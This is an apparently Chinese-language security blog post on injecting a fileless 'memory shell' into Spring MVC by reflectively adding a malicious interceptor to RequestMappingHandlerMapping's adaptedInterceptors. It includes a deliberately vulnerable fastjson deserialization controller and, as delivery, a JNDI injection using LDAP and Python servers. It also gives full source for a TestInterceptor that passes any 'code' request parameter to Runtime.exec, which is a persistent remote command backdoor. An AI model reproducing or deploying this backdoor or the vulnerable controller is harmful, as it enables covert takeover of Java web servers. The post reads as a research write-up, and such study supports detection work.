針對Spring MVC的Interceptor內存馬
1 基礎攔截器和調用流程的探索
學習、探索和實現過程很多都基於大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/
1.1 基礎攔截器
前不久實現cotroller內存馬能添加冰蠍代碼后,又想到spring mvc的攔截器應該也可以用於注入內存馬,目前的關鍵點在於找到攔截器是如何被觸發以及如何動態添加攔截器
首先來寫個正常的攔截器TestInterceptor類,並添加xml配置
然后啟動程序,在訪問/home/index,並添加code參數彈個計算器
1.2 探索攔截器的調用鏈
斷點打在TestInterceptor類中,調試看看調用鏈
preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
關鍵點在doDispatch方法,先通過getHandler方法獲取了mappedHandler對象
在后方調用mappedHandler的applyPreHandler方法
這個方法中就是依次調用每個interceptor實例的preHandle方法,實際上就進入了前面寫好的TestInterceptor類的preHandle方法中。
1.3 探索攔截器是如何被添加的
跟蹤mappedHandler的獲取過程,先是調用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法
跟進getHandler方法,這里會遍歷this.handlerMappings,獲取HandlerMapping的實例,再調用getHandler方法
這里斷點跟進getHandler函數處,會發現實際上調用了org.springframework.web.servlet.handler.AbstractHandlerMapping類中的getHandler方法
再跟進getHandlerExecutionChain方法,發現其中會遍歷adaptedInterceptors這數組,並判斷獲取的interceptor實例是不是MappedInterceptor類的實例對象,而MappedInterceptor類就是對攔截器HandlerInterceptor接口的實現,所以前面定義的TestInterceptor自然會被加入chain中並返回
至此,攔截器的加載和調用流程就清楚了, 動態添加攔截器的話,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping類的實例對象的adaptedInterceptors數組中添加惡意interceptor實例對象即可!
那么關鍵就在於找到org.springframework.web.servlet.handler.AbstractHandlerMapping類的實例對象,CTRL+ALT+B找到所有AbstractHandlerMapping的子類,並在beanFactory的beanDefinitionNames中找到它的實例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
因此可以通過context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")獲取該對象,再反射獲取其中的adaptedInterceptors屬性,並添加惡意interceptor實例對象即可完成內存馬的注入
2 實踐
首先用springmvc 寫了一個包含fastjson的反序列化漏洞的controller
@RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
}
@RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制台輸出jsonStr
Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 等同於數據操作
return "readjson"; // 返回一個頁面給用戶
}
訪問/postjson,並提交payload,而payload會發送到/readjson處,被fastjson反序列化,觸發JNDI注入造成內存馬的注入。首先開啟LDAP和python服務,編譯惡意Interceptor類
惡意Interceptor類源代碼如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 從context中獲取AbstractHandlerMapping的實例對象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射獲取adaptedInterceptors屬性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重復添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已經添加過TestInterceptor實例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進入實例創建的死循環
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干擾正常業務邏輯
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
這里提交兩次payload是為了確認:不重復添加interceptor的代碼生效了
可見Interceptor內存馬已經注入了,現在彈個計算器驗證一下